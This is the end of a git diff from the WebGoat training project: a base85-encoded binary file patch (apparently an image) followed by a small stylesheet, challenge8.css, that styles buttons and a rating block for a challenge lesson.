zGk$FKD@7HRB|V08$}?lgNay+zomG5C$$&Sj|Zie9R3PqJQjmTq*K1qd1= z?qRU^zxznb3N zGSRjY&}H20t=%~FmLrl^-64IY$vXXPID`I;0$U$Pu?dE@L2Y7Q*|SLlT?C4@!2YD| z0=i9^-8CHx`=E{HFRnD}5JQA@{k*o#o6UmsOE(k6h##k_^OufcX8kn+Cs6G(=rj)F z9axn{*`?l-U!t*iKMU;IDt$KH|48vpNHNgpAvPDP04+!2XA@L)-><`@@3%;RMvH=;aKf^N z@n6|IA4aEU$QDUM>D{r(J!FClzZUI72r`@8D~_!1y5F3`{+M3s5$Z?$YVG}XbE3Zv zed7@>HPrVzA?w5Q*~Z%(8`E3Bv%#F!Fsf`%%uhU8SPE5OFp}6IMO7@TB%c%(fq<`w zl6}yVJe`OX1((=m#<(YaUfMHk?p5v?zwBcm$5xoo`27uA>W#j^n~;$mzD}$#M;4+3 zO6ijPkFqMGU*PwKJU-zghJ&T5kzV?x=HMw%HpfM%6^-Jlr2Tsl%rhXc5vFmbS#(JS z%8uoh1yg^)SHjr%{NZ)}W1!^W_#;sMTgUzz$#28Eb^FzW{iZ*8omV6d4t9_!w~-MS zH#-+M8;F+&z`?=81~O%1XXE7J<>lex0RVVG|2|MM(o4&!0oXYV0k2_~gH6ePTxxXa z!d>#;IYbtUI&Z#_yfJwDq)dt9(X0t@0k$JFi*+5BTJ^rwgbF#W4+{;PW9;q1Wi zqEH2C|s~Ie6Gj0h~r$uff2Gmz|4^)0Ewa6Kwn!+5BGb zpOhr-kbN35PAlAKr%T_Ux=IB*>#=ETRi$~GKfKNSA{fPyn!!$n5FRNE1?`_aXRrZ_ zKu0Cl;azG(d*9~8>7W%%+W2Q!pE8Xz2taNWb zC(x`w`25jz%Mg$nH^X#Kxf(E-)n{=Ln3Cht(doa?P!XEPC_kUZ(8o1McIRAZ&VX-J z%ihk8m+D>Bf{}Ou8;tuiJp-|;9Q%b$uqoahU((Q6EQ&2rkWak6q%m1vv;4?dEy*xq z76r6PZqDRCfG>_ujrq{yI8LIZUqD|C$ZO3h&||8ZLTU2B(lZDSwiX*lj}I%7`nah+ z?9&Qi-a^t&EDfNSN{uf^|B_phhmAY<6rX5Tk8V0pHI+#fcVIdZyhYQKjbil46xE)Q z>n7}H6Kf|9h9O*gbry61*-pHPtf)KAUV^=;Ag+)wiFCjz`OCa=G3hp4Hc_q|^S2Q= zHf{1TE89s4Zi4sLNjVu-J|vQd2;!N?b`zc7Jpg2cni(JT@+g9ac`G* z@PkIxAiU+dn%g=J>|VZhJh(>0u+JE4Iwr^fTzqeLA@jqN747AJz2T$d2&%y0x$jSy zh)+WxvMlFH%i2b&PFbR}hu{&xiqx*0QrL`sCmLu#DimiGS&!8vN0uIo98$GrTt^$n)pt;~dv1#` zM1PVkpb5L{Gn&utX%Vc)=3mfjy^P19po%l#c{@=k)uL~Bi!AJ|sDDkLI>m9A?<8q{ zfL#ko5G<21Z|uz}qtt} z$Rb?^JQezKe9zFHO-D5d_40imFlq6Ah2I`(^##e*@)!RDv>Xdd@gOEvD|+pRsg9g} zk|CuGlG?5iduN;bd-I*P-n-$kz* zDT`eyh~qU5?x=cS{CP&pRgkhS;`U9;Fb`#&GdJbZZkq|8*FuTJYX{mF5?BC+!r^YU`DvAu>6V-9u`AjpK%)Rcz@1b!{OfX19$Mu69( z_CHh$QL1uIgyLu)DJ$!zJ&6Y#O=#cxH^>ovl<2*S;K9QPqLOAB&~)f@fQl>-Ue{d4 zF30XwBifSeq*l{yhJs%TD)-*$^xce6d^1@Wk4bnC8($_lGc&Vx)XLc>v;X~6VMhFgTq zsdrFiJhZD)PDm}GuVP!ZFFp3VG92a6>jwAT4P!oYP0Tl|jp67G)R)P0WQkQr7}e}w zUdsCc+o51G$Y+`O+fS4DrB@xtv|TfGu-l$J!_-!(uv~1lk@GJq*M~6*)$4WSwN^Q) zYo{<%5bnmQ!#)fUhO%YcoD*9Gkase=%uG8VHM#6KNDk;#l+f*K_6ZW(efN*%@~!|8 z_vOP3AjF5Al`l?SKx6|VD-o60nx`xg2ew^|&@@4k$7Oe_12iOui`|rn5AP-xbWAHL zh=NOXx-s6m$*r&x=y@PZ9)e~OA}Pmad8a`d{fzOg>5*W|^WR=^kiudhC5-(=0;2eg+TD$lf!-cnh8QiuG zuT}-6jb!Rt5#yoihOLrreZoq8ofYR4O9Q$4$FTKJ#a$nOyLN*)1Y$XF+1n|82}Vdc z7700nRmGk;wmT%3HM_8-eK)Q5PFz6x+0XtGaE>hcZA;apBx+_@C^+FcHK~AIg=_YB?Y=`wum8&@ z7{S|ug=(m5n!XS2z=Rjb53yFfe>j}q6>lET7-z_L|@D{Xh9l_CL>W zUfXj+tQXb3>l;EoUUx{lMOY(sb&L8_GW2DhwwJKuQA$7Qw5u2PXf_gc?b9-4I=acc zaEkjljQ!`Yp^)?!YAM32c(km_uolPyHfNIZN=*WXhR=r$O)gu0NGtZ^;^~jtIWfRg zt3PfWv?TS8@IYZwT1Ms`57Fm|H#A%gYwO{bm%->1*y2H>3WLxE#_5LXQWr^+oo)gz zDdaqY(C1*OPmKMdY@4t1_wU&`O(-3sV`VwT522fsZ)RZMk6dq_DEfa89!}Ja3Plme zu55mP`nf3QOh~{r6R!<#IL4gz9%%vUpojkmcQhfDw+#K5Lkjn>7+{vt!vU0~zWG(l%l1-0o^*0l!v?07q|_O!t7 zotTQ#6Q8c@UmEf-5rd~zAL#EitS~8@N^jE8Ii->H$XpuMncJwHe?b5BJUlfD3jPzN zSXap$!AJPhJ4&&;-3!W=E-4xGRhZg0L-za2%-n<&S{6$s&{{&O%WBH1Wo&lS#tr>k z1rj{-(F`Ips_Mzn(b3lX1+?o)izV$4a3U-G-Q{L11=|RNVwUlt*+iyKycsK^I$xaD z3K>}~$VD)I1${r)4Np9Rb)7)#h2K@nj>i|w7vggZOx7nS%rR>2wTO}^7N0tx66EK{ zDGqmQ-aOG-@Lx?X{vj*mgc8L_kF=je64R@S@Kvm0Rs0~Y!1Mbl=17%Y_d}|PKhrs_ zWQdlc!o z&p|iNg|dqLMZuH}3oO-V%rjMnAr0_{{)fcV?|6k&?f4zF2bSY7O{1Kx*N=ILD~P_% zo6a=K@}J|pT>RP*v7xOzArqXP8PVf6v>ECbuBSFguYWrOc(3Vw>#=-<=8TTs`cZi7S`bpv24)JEOBMav)J~B8^*GA{UVM9?XW?p*Q+GOSw^!EBj#uIe*huZ zk2l)8*;mqPwLcy=<7uI7m#i&KupX_2_B>C`2WW^B-5%x4$co_GXVIL09*7?62sqx} z1cO0_#s?qn<+@Pu64$$v;V49XWzS-Px+eL{H8zU zH?K%WATACt01V*ZEhZIs_i4*W2ZxEi(gNwtyDr~NUqwtgb3kD1ovEyB zyIA%WF5d2(PUwcUo#GAn>qrK#(^n2m1@QK%p$XlmrjWJ=i0gp7=y$#&5yNxmtg9#GCEKTgF=QjFCn4q&j`zdj(( zo13P(ADYEmd~^i~R+-_}yNB~N#+mS?l2W@?J4`~*vd1)*h>HE}d)U?Ft2E1}XZ}3n zgp2|=ud+`1BP2tcB6m+pCaLNDyGcM$C_zao4{2$S{PmSM|2SB0Viq zz8Rb$S{JEaKg1JI$4)Rsm5)S%k77T>6N3|Nm0&N^Z_`T^i~OrZ3mMUjP}bsLuB+uP zEh|S7mzTob+RBIV^TGl?kv4a^4Yq;i_4sTSadc|E@uMH?c3}E*g~&Jkz#yc8(QX&Q zxB|jB8YrwFt72^$m?-#Q*RoUL9OQkKCL?U!8(xx1mJoFD&oiOi3#GhsN}ulHW08sL z8#^TqycU<>>5eJWmS~%o%&ux#dle*-@61YT(Z1?j%TdM z)huD1b$t00&>>9x5G-*+d~!_Nx(MkorIXnFIkMC*)Rz#)FA(?hlSWB?bdp;*(pkxD z{M{H1@EZlboy44sP zyVQd06x9gd*H8#kq3eq5Vepz40Rzb~-y|nsy!WM2_IDiMsouil-@-f5&(lL<$q&hk zsPz<^l4FzQ!g}yceSjwT!?^!r@nZ6~KKy@GyvV!Swg1bG*eeo<3%~&YyyhhAJVrdP z-#a*XxY=JXARs3@&ujex=H@iz;ry#{|I1Gu|G(&n(O4a4(9mJnI6qaq#AJO2&s8C1 zl|n)+yPA~zA)EjBjRf?!!t%dzyuy~hV4u(+Ab!)I9PcX<2PeSv)$;<4*o-)Nx!8b4 zuWc|MBOuV!$e0TRFg68)UcZun|GneQ)I`!%Q)_*h*M1P-u{NyR-GqMYpV!Ij-iw<@ zhjAw&oY}=xPY`X-iQ(st#cgVt#w~cvo7yp(QSa!PLQyz1I(x#U!XYO&;kDfCnz{oAd!*TOL>Z6x}gnz*$Fvge@qQIW6LnSi-=g?J90uM z1$gi0ew+5aSd(PAPY=1=2a!Ai6<$y`K6amfL(XR3+Q1hA-K|2;eA|RKVE67jZwUFC zn}A%bJA0IC;lC9=YH zPtCEFn+gMBx)gq~%nYw`MHE7}uccL~PrrJ~n%w&G4-bE??<-l^N|6-GpSItbx@@#w z9;x*ixh3B-fkvfiT*|VOgw)IW^=lrz4g;$8NEEAMfa4mDuF?&jP7`5rhpg2;Pwm6^ zGcvTZGb(!33 z&n~x#Og`wxRoz^B^XM=?K2@J-WE1OXmV0LLt>-zOEuL50+bfJ~95%!tH8R+=P2{e7 zo&aZN!`y6r6{1$#o{_FcyTC@*7V9NTvWM!s&+99*0ZozX)n8jYZaJ~_m44PQ=e``$ z%spHbe=e`o8TS?EB3-P}%p87qA?Z?0r=S$EI^;FGH%G`_PFw8DF8*ud?u6}nprQ0L+d zA^=4k^|*{(Z`DStm3LSA?}Q@?S0yWc6hv^>q#5MR&n?aE5Q`li)1i@K9PkwWkc1+) zB~EOm5v=n$Se@HgLWj`O93wHUE$=dKk~;SyDz|9vd-;k^m+Gkh8%3?AB8FMxO1Cig z&y#UClTCc9Lhoi>$>|(_YJxjd868>N#KAgyez^vD{~TqsoCkN zx83&UHf({4v@FYhhNA}+NKN%XP9S-x$BW4?!{M>#1}8#-o>6-9*@J|D4@DBVD50n_ zF~rARhR7`eOae~CUi26+*iRek*&oOTrwDA3nkd_r(?MQa$L6I?)1&G9fG_HaYO3el zZ8i9D{OhDv!(9(Or3qGgWW477JIL(s?xZEXem>gM@}Vg^pXweP+luedq8>2rjX{rQ zqn30|;@fT`hj6qYRml1K)l3W@OI`MS3mwaNbU3NZEoxL7tF(ee;aw9SA-s)j?Kc;9 zFH7gwKI+bZh{Hgx1@W!D2j;y!aS7p#E18+QqRgx^YEG`2IUvi;N^mv`HNhH>@3${u z&RCkqsIt;*VBtt?L2MWP3~*r!e0xL@q=6zR=nN)CiMrNpYrTdk9sf~-65`UDa5@vD zQGke%%J-Cb>aX$zj2-ddXn-qvz@mqY+2g_{QgA?_cjw%i<+^``CRj0(Fq>A2pkUPuCh`DY^vrkvNT2XNMpncH@(bej5KOdsVb5gI7Cs zjUVgfoX&oTNA35NwLrh+5oKoHD)JQm4o6?b;bqF1ddKWXqKj>7g;XhF=_TUg(mcUJ z_ns+1p**~O_X&yS+&`|E8E=uc8NK(8=IwA(j<2wAmzc15!;Lb7zU=}}7`?nf+(6Q5 z_Wn~PsUU(KL|~8Q2Td3=V}2Zq?=|B}3yZ6!KRqvV)Zf~J&=_%dmL5~so0H7%9dhUA zCtF*8B)j-O-Ux;l7&-)1LiZO@*dP$9HdbXCJZo2RCD`G{P?=m9>WsSh5zC({+=dt3 zoLiofU#NqksOxasxv!O^hr5OC8Q&HXybUuqZ%$a9sbE|tsG@9k+e{Pp_aZ;1i5w?~ zKMjR?&Zl}Dkea{iQ&N_cszW96>ESu$6_NMFZ6WD%6b3>|#$u+(q%D3JGDZc5LUZC2 zYrXUNzK_$&RklM-x0OWhJHa9?AZE)^6(R6Yx@>^IpIR#Iec)xG-wAYRbq(E)iPLvV z#E4ch9g9ivgP75!dIroNBmo4s7l^tQzkg3}r(Bw)c>Zf;X-RCCv{Ic%HZ?&11Nu}%j zpi$s!)Q9wu`%oLV-@DQFij+nYSa_P}^y{s!HV`FB_AMjvLAyXuu)&v(UNfu{>KLV+ z@(l%+{22{{l3yNE=0krAVY6PsN=iCxps;qq;nc#za^ah;{Nrec*IS_ zhj@pz?&>U9eck}o7G)tL<=G@Ex~=^2mtLZZ3dI?@VC>mZ-s)2a=|E&S4CCB#N%{L$ zlnpP98T-Tmy7r&EJRhhOl=C8Pn$6FEoMMw5DYJ$S;oyg_FQ08k$lFdcCqME#Z$PfO ziQKMjRC(b(QI)kJ_&BMmL@Vi|lwmi_$oVncrDSiA^3H^hLD$?1)A32syv2k5*m7oY z5k;7B=5Q_u`4zOuFZ9U{_vA(6fgsXGm@1pX;{vMtoZ{yCv${2^clsl~#|6#KhX3PA z?1uQQIHRnM7$u~PM3=2oQJj&Y^>ZtYEE{TCQ!zk{B0p!tyMpQx`W0;Wiktg zeNUcR)kslKr)vJ`;_mWamOs62lyrSifdmC3fW6(7C@n%nV!wm&t-HQR4JTJy6qlJm zrzqv>{I8Rxhu0l+b+hbBPnV}b2rMCo!O`s z8aq=s8VAqom}Qe&uv7ZO7p;hEaVuAJ+2!*`RTH%d9e(=s@gQ+bWBA`=_&Gr4js~?IpyN?(aC00#Cee< z-PbiKAhnba<3`2iVQ3V3KB6QS*imAW_WDtQZ|wjfYTSHo2F$UiqI)MBq|e`w!Yspa zWti!GhU_VagOPCyR!9{O^i^i0DeCRV33epgHh)(0`G_$k5Dlr4ylH>v^a(~e7DcV?I5%}?_l9W#45>4NbF;EO_Vbss33XX4<-1@ zW9dE~T7QLN;aF$a)4#lpt{>Gkw7E}YWRfQ_Z^uLur|yNe9am-Ap}C`o#}ygBYcHK- z!KqyoKt#&%apx@~1KF*O)a}sNMw9^Njusgy?4@;V3?#2meBKUHesWCkZu-acZxM4I zJIOxMv5@S$JOuOsWc?u;iOq;XU0%GVVx9!n>vx$YwDFSic~rcq$|mICq0*dwNvp(r z$P9!Q&otzwq$PZM&ZF=XAj{YSJ2FsSCeDwt2XGHJjttV==u9#)xj|XQm$2RF>}>Ua zM#sUqj=DEU^wAWpO(AlGv(ET%P#bu;!(^gNpEOcu9>$c9WWvieyp+7AAbzqQrTNpZ zng+$RJWZssx4iJAFlf-?8|xrG3Tbg)O)(c66QAGDBOJMv4X<9$ z&npQZg)AH)Wp$-2YU3}#*kg$i=IB4h<76sK6v#Znw=1Y#2;g;wHg=S(+{lK#FZCg1 zi0R(J%P*^$JIYt%obyfkE(xt#G)#H*thJznBsUgo`p3Us)Qm?(D5dHU0dCk#4_W2Q zv4`s7%0@~M7r>X^BSKfH2|HNZRvFELkKg=59pt_7>l~Jmo^1(A{W*T+!OGliBWxQ+ zmUC$COWkgL+(9VG*bEO*B4Nv`wfUlTso;9ZO1&zFl z{s;SLugDJE7_TdVJGxmG|0lRs%rOFf6pBP+mZm8(5?iOBOn9N*)V(DSL&H3eubIK$ z(~R{E_dY;Opjrzo?()>l%lE7#m~W%aoF(~{6s0iQ2%P4OR2&uEf8Bqt(vIIh`e`5U z2SZl4_`s(r(XqLd@E}R(i6Cy0{b(Q|+@#?!fR*5V0Nz`!g+=p7m~+l$_ZrlTAKLt= zd7uWM%JxVmM19NM(lqa`Y& z<2;2B4$Y5$sJ&Z0u*TmaKkAJS&zPJm#q6hnRcl%ip7>El`172!jvqKbwuB1Ck%|^r ze(;~P=de2N@vw&W_;DTdR_41pY)nZ<_QCUh$bi_DmQHkWw^~pM){Uwg4suSm&aw1B zpBv$tB`35<*Oh5A!6Z%`o2As*$M#@*(rTPGtCed8w@D=sQ_!)Z7dmEYQm|sWT!w68 zwCGzWe2!SzfxGzBE+Rk=4F9}Ka{=F?vW%G=j9lRr^7o z5jb?T!+h!Kk-bXZwu5r%;gRnxxlZ*i9yp?Mi31+gnWOs!;?i0#`Z1V!sO!%aYwqDv|GHtd_~4ROJGfmTo$S`CZWq!fwcS96nRJpR z0o8J0IAD40lKkY8w*hhviZ1=it$wb1!fi;9Ym+_o`h<>ofx-|8lfdW_U5!)%`DHXL^mX* zMkmF@!ZN`stt2(Vsw^ctG&VZ(9STDK3f1cWuw5Yc|6#i$fm)JjuUq|1f7ZaazZJ#KpD(n!u54SV$->QcgLXl@uw9HkFRlC@w z#i4!S7<-@Mu*QkbdKVD~7)are7V0B0mSA|HFC~5XgQvfbjl448?>~%x9K*La0$Kf) ztG`dP{F8a*{{xnVt*PA~SpRnF@juV#vHun6znakt39aV&m)&9jJ1ZLph>a6y!o>wP z<}?Dbzuvu`G%yCUy($2Zm&25ujop}={jaM1FK6`rQ@42YR;U8N?9k@zFauw`naZdp zF2w8+RmHik%gRRmE_KU!86*GKh#VLxyK!u34x0fxR*xQ9?dZt3%(&!pMuMj9sA96q zOF&WKxdLQS+eNuxYSqWZ<>|lz!V*>j@CC+(bFB(jZQHF zElcuxXdYdUkv_{}8(=M}JzE|5J=w`u2QVN)XlrE|Bw{3LXJ~IHq<%)3W7h)haSF$o z=O39p`Chd%mAmSl%c4MNshFDnA?N=n8+P#jK{hjRls_t7_3t$_C4Rr|8&!oUH6M2UB`{~nsody=;!8iQVW%ys*jWT$Hh-!{e-t`x{-0gyuc-U|GiIU}t z+J_XpEew)e$QL9+n}UwLz=Y9b8q)LTWjO@;b5*$y=UMbkG8M~H4vMbmrZJz*pVq-dEYf1 zoT<*gtWFVoLxs3f_yVh9kuDL^>FAHlsIsZi2w|3+S5cjg~7ah`pFwb5^gF0H9i)Uz)c-Pa(L`uSl&IiB1vDc@MJ} zU_-C!6`Ig{F@!;=^vSrSlZpZ_p{LsPF5kJmj?rB%+;$G^dH`;E~ z!)~=RFsVH?t*Xkx$IUY?w_+%|SKIu1j}7ur^GyaZ@l3#!aD?Z37g1$KaZ!_t5#j zuuogPJr25lr)3F$2UA_&q30cYyh`;Qm*rsl)S2YF`nacp4YPl36*(t&yafExAdDBN z;SvAX0BwYD@y&-EH__oGxMW$9xcHf)Mc;wSYd+1U^hpEc?1qLpay@#be$+VmL1=~4 zSS31oDaPB0O)1F0_Xl1JaC$OyaK+wvQ$vix5?4QxC6uPnKjzNN z><4VvY>HYO8q$}Sy#HYqjh%TCtCxcUja3gnqx|JNTgTki=m1sRyStAkWDP`^SOxQZ zfXRkvmfEYSdGoU3h^5qGi#@%xyUp=|od)^@YRsnUO#62DPv~y}5<$YEkOfMcqRRz} zL;BSyrV2NcG)w6I(ATF@KI1=?6S1K#1#TFciq^OI*LTgydfW7rpQGe&`d_k$(FLoX z^@W7it0)e1rKTqQOvbd>e8B=OC9?2{BvpB^S|eZ2=yGwV)+lQl)Y%9vS)Hu8lXuJz{ue zy(jVXHMh+&dx8AzJ^nC!T&Rw(pP?Wi7GNMCsQzU5_C|jYxTxqk%>dB6 zX})d8a>%`7O7GU;Kar(Jz6u(jJWsYLUo_KEjnn;5lsFW#N5xA{OqKw@o4B^JA_%S? zDV!}lqFJH}Ktj1wsqhS%#QzCVRa<+ziE@SGWrXe>qL?}-?WtH4gw02*&4l1ZpV&>1 zJkhD$D(7o_PW2I2NxK3~7IPv>)lb@eKM)DKJEnpX^fpRqSb)0!Qz=_%oP?b@Mqmx4 z`H#-jE_F?a(Kb%#x%;l0esU>Xny$3gM}S{g@E^_T+c;a5YA;U%Asf!Sc!Ym0yHa}1N;AD>%s*OF$1Axf&oeG+ zuqN0Pi0n*&?_{QIpXHQIp zG-K$Y#!ERYIJuu(V*>1n=T}Y~eEZ2GY&zCVl@_p2R|nNWV{$Y0%M8>m$eTgu%}Gg< zV&B_U!?F63ay7}RMGRydO3f&&qsT`rv9L6$rGV*Q$BNJJc-j3-oPFNYesZ+u7HS}= zgkp&(bcc|KGOcQ7=Ad)R5rxxAO(G+tvuoN)Qp9?{tKu27a}}9J#K9wo!XIBPI33s> zBDCcD5F1eEE|)C@Wu1$UW&bU~ikgA_XZ5Eu+NJV>(8QCIF3!`HDfEoYu5@BHh!FU# zPx7k5%VXCMbq7A1FXT+#t!W#2-s!$ypFQ2Kx4wVot+4oBk{S)ibQ96@vrpK8huOfy z87ks?ZFbOr{nq}bwg<;Z8k5S zX7L@Q*uqGXbwi`+x9hU(A04zUy$BM~RNT!VNljMpVRl!E1BZ`TM4ato^noz|I(%XH z*utY3pRmbmVWSS1=EQzOlwC?J9pX393W%|CVyJxn@sJEbbHuRXL7QJ((8`-2(qZP3HL9jFirfx(Lt6pSkZ{D0<=9R$Rk&wSF3t3utIwUE<`p z%0;!w(I&lJMwaSV7QRVBiqd}DxVg3pVPqp-C{LFIJHEBm0sW|JVDX80x?P7gOJE2>4FL^!l#i!kdVxT9`6q_Uv_y!}cnFSe4R-U>Q^)xj%Bc$|> z4W9$H_bRewu$%Zr>55WzkGE6NHR<8|l8$UXs)oaZ8tqozyd!BN)GT1~v@lHib;-J> z8s|FE`i&2_Fl{lcnAmz%zv8UIf9LioWTEu)@N#3*{w+6JTX0o>xfqtR**Cb zVXZVrZ!HR^pV&f~MBzmAev#Z!G?sI0=IEibJbqbsG7F|)W;`&49sKeA>sd?8RDzvp zL`6ob+7*?j$X?miP`x7Bq<) zi^5rEaImx9^jX7~`qnnl5(g{oq zZMoOd$x#1+W>ZkSqUg$qv^6YkHha@5EWhWKF})Q43{?eE`;kQu&C?Ku z(iP~7aJj#g{xw9xncPChQrJKYJx~M0X)t<5iysx~*Pio$qEOjOu8rOjMp3(_m>5O$ zG^|ncJ;-mFHoT6j6w5fKjd|jzt=7@ZS*(cARK*& z8;!DFUjulK7HO6UMEEr%`uKRbI*7WtDaH7`4{=5gpeBQ*s%elau3}sv$dqCth(e1!s%XDy64Lo} z2qRTPhtfH}JQl`44MlzsK)aIWT-VpPgDT)nR!&Mby?m6~oOes;6q%!qQw`1)a;z!R zu@ivJ~+CRCFj;2e6oVy*` zmRE93mv@ADKCmy44UVj&w-yD=&h?gkps2XooucZv^`)-Z(~+QCC<%eNr|kl`Ua@v9 zy)i_ZT(96>9vhTC%%F*Xn^U|P=qSttZ)WFvf4#Of=isiNLM?e`A^N3zaZ{=ej2bOqJ+?;pyjl9uU=$y1B?HL^VWKMm7N@1hQFPnJQU(WjII(v zAjba+Z}W2GCU^Mm6e#!o`{B#Qz%8!bc(uXTuc3LTimv=Y=%u>zBDAJw0{U+_vxCIm z)PttwHj4H@?a4!lu+Wd1bjlJb&VVSjeQ=nL!cUh*BnCrx3v%8PBGVKnY~BWR1G2;7Ya%g2VUO zWQ^)GDho_4D#_FNK1ybEN3K7>?Mv@#Oc_%Q5HrnIUHqsW7*V*z0M(>gSov8wehVVe z5i3d=5I|xM+6-30?}p(r#YZG53F>An2!)Y_Y$A5L5pPJaDpFag2>2rX!kU!TkHc(n zNZIkBdqPftSAsyM)~~HBVPx-3-?L7P`Xu)aBR?Il> z-|0&PWb5nc8?<}!|Fkn?e2B+C?wPXl=?gA^n+M?{ep9Fl(lI<}RJH2#a_7uDaF#ZQ z;g|Xzeb7B9K6{X~Zdh>sjxL8f#JcJE4qC-S+#IV@MH&Nz1FWRbl@7v;~we9$5n2NsS-0?5vb zys@@o#&%kp|2lW4pS;#c19`Z`!x;;O?N}p^{UjIt$)I%`pWKZHKL{FI--GC0eI}Uw zzPKJf*f9&Y`#ui=8}azob5ki{XovM1482*V-Gj$VXpKyhJx$iT9AsyX`_{qKi2E0ePVU&TjF`MSHr-9ccW!(2 zA#%MaF3srDoq0UHqExm#wAu`;T!q zE>Y>L#JsC*X-a3DP75627f+&)xtK;)!*}HuuKBM#Vw;{IAwtB2Ub25h)5z6oPOHo1UxwC82T&{`C1~D?9qiBm!y0@fpD(X z4sks`23pr5>6t7a-zd|*BZ!U|U&_j>lmP*D%0CAfx$E<|aUv$8F>>%AfMzW7Jp|_Y41EI9#cmtGl)x2f7jrt+A z6P8DUS^8EiMBfx6^3DiSA0m9Rl6OOiwL*CMVL?U0Y)db7ikFf+1pi-qR~`;k`~F4B z79!hgiNs6D8dB60p{xl*k)_CzrVx?}kqCWdvSjB~$RJy?lr2kX8F`Z>Eks^xg*T+{ znPJR1$Cx?a-`~G+&2{n5=kwglbDr}&_x*g-x_<7|E$C;!&-aJjJTdo@KOmuCUQH&( zs`I3@L_e?@9NZ1n@$^bz1TE8 z#WLqFcM{Gx8O-#aknGpKi&7iH>*~+T9K|UaDy+HULI?M4-*WHaNvqI$E7Zq*{H=b^8@V?Zpy&DV2jXMVHE4OUi~>xeURi&Z z*?C2acRli3`_xrtSQ6i{*%@pr*{>25b_=uXdZBZ8-IOc4o_&9V2iBm0KB8#O&R)WM zt(~ixC*6AO8H<+&IX9H`69ooQEapCvi>V1~2;8+!NqK3@OXT=cf<_Lxs9OiuajF+6{ladRoW z;5w1=DM?v8_J-?$WDU*__r{BpTGRt@a|^1MpK(5~kQJI8M78`pERe$USJO2GRHjtL zfW2_wTIGLbstfz4vKWKo4oMEiGPeXjIFM~WzJ<+1eCOr5StT|T$xFZXqnQ_Kxje3H zADDC$<(j?qv`=c}*SD_=AII9q#R4kI!cM&UcsBe&h391RTfC!mUN5$UQRJ-l==D>n;c8pHMB|%Y_p!df0OB97iQb zh;Br+MJjQLMPmCV@Rj4XEh%^0+IZ)O!#V;o%|(v=>7o|pGG2Z9bkVLxokQ61AMvQd zrfD<$RAq3Q;VW_cXx@fysrQ2dPa6+ox&@4wJ>=QlKM4JlGTo`qi1R<3zH@Efv0sgj zj^$~lnI26^vwW9leAtrTj9m*BbxQnPD9N93FKD8;WOw}AZ8Adm$D8(L8T`bkXZ2N~ zg@aT1rQ2&bFqZGzMtpDu3^=Q*fh(R(n`CfB3`)0Ui?RMu#+!7e`iTyx%Ql*7UryLQ9orA@H-G zz{lJN2e7C=M}m556H+=`lm()yJj2f2jrghV!KUXvd}QEDx+}W+a;tfHW&7l292QsV zCXwYcf$w*-^?YDYm*t5LW5BWj1}D zJ~}$Xi^pB8?7OvYh1~SIgBrWUfA{#;naS&_%NV`hke-_=c`ov&ub-z={$@S7o*~OE z0S|+;ROKi5dAf#%_CCGjtzgR;d@JXmeNo%wH`Bt%y*n`HJD75>R-YgA=8NhdFT0>w zh_Cy{44uB`Nl6*Ezu6awi~cfI3lbesxS_A~c2WHI;Rr~BX6y}kXn zVNj;qv)J~fy9@~Ih>+k55D#}y3#~%SD2;bBS+-he_s*Ktu&TGC?T^PK&zAm?PEgsy-E;G~FVO!O#+{3ufSm~oNgUnz3otGUSouX^1_I~7_85%2 zAI9Fx5y>H0K(wN9y#i;5^Sq3RO9vx949mQA>l+?#U84&*#*qQH1Jb3#en**E7Zuf1 z&eixwbY~B|I^oRg6gWtict4t<_PWr`$_CT)AdZ7QsTePdT7fd`WK#K6qbg_fE}p&q zL6K+Gb@Gz;r#95{I*rP4OvD!Vw$I-0dX!h+qCOHH$D?a;O*DNWYiqNsw=B+9n#V(_N_lJBQ@-n)oM5R5tMB9$-O&sk1+g1XY%-)o*JuRyGC6QQ z`XI#Isc>b#lcs2x$m{yCSZ0j_{^8ad3;`_cUXp(s-Ab-+vntt9Tzj=;tayhw$JTWh zC#L?)rjxanT-VDgDf;F5{LQm`x-5$S;hoRhtGOv?y6&&-hr-lO3qJhgI%{1Q=1IWy zPg?Ttg;cryA9%hK`gS2MbxY{K27Xs#b;o=TXE2)E6ch+^m}eegV9;;Nc8ZnWhT^>! zZ6epF+8zD2&Hw1B9$VmIJv#r5ut?FITFLx{3-@mSGkjDtZ!=+TF6x59i=phK)O9## z@8Njr3GfsG@`t~2=3o{b$I#m>9 z+u42V0h*YBqEBQ7jj*9K;9dzQ|Ya}DhFE6b1LjkFgm z#3jTDM@1@@S=@KPSc)ajUYi$Uz=nMJ?wf-5IG%RG1ntuyzj_EbNI6AxA5jsNm9r+*qDwNaW5q&TES&rkKydb?o`#7{Q9(joQSs_FePUN4e?r>CS`AhujZ+f4YXn^Ml$HeUs@3{pYiqJjrSA ztY18hZcZAx!iSx1-Ypt)#oMaWR#9dninoa@rfY{Q zLdVB|_scc(A`ImC0|qaD7=gX=;)j!N6h-)LN$Z-Cj;M7F3p^YOs&u^w1-yUIWd#zJ zHzE{V_nI0oIXX~nYcgNC_ze6{aQwW(8^h1164iak-)fM}9g& z)u>56Bp4n`f?Lw2re-hYm~4Q=#0oeZBMy%&lS~^Dz8-KwAk*NGM9E|TmEuE)oIC_n zs9-Y5@HKQ>1BWS~svwk4rp>+b?mmf|khl}T!4JeqMA2dZm4bjUIEPnC7L!m37HI$l zd^jpn0b|e!C6N@g=%(^ zPzfOeqf7EQ9wm1?MIuNknvE3FfeyC&q|As z>V*N^2xc3w9xZ>M&)Ee57&lQo2pK9=ItXl$9`J7^AoJ*d5E7!zO+7!lg<;%8#T42x zBA`O`Qot5Th^$0Ks-8ldoBDIsXEThOs53&_PXtt`$_Ut^S_-I0HAj$fFQ**v3pDGt zE5a=zT){zx3cY{>w#b(PD$?sX$hcRxNLUGG5%HD{GF0dt8?Z&r6i|`gxS`Dr-==Uu z-oVZ(!z^05;{xC!c$Wox3W{3|$6eYK(Z;2|(lM*R#tYn7A?6fvyg&_; zJfWe*1@g$V0_{kckWvFR)Wwm)_jN3gk$xqiF4YYHyj6E}i=!m0HPEU7c$9MHOO}Ib z2mmIHr#*a(9FQ@(TYxc_PF|@El(OMG5YW<Gynhq literal 0 HcmV?d00001 diff --git a/webgoat-lessons/challenge/src/main/resources/css/challenge8.css b/webgoat-lessons/challenge/src/main/resources/css/challenge8.css new file mode 100644 index 000000000..b3e74d70d --- /dev/null +++ b/webgoat-lessons/challenge/src/main/resources/css/challenge8.css @@ -0,0 +1,43 @@ +.btn-grey{ + background-color:#D8D8D8; + color:#FFF; +} +.rating-block{ + background-color:#FAFAFA; + border:1px solid #EFEFEF; + padding:15px 15px 20px 15px; + border-radius:3px; +} +.bold{ + font-weight:700; +} +.padding-bottom-7{ + padding-bottom:7px; +} + 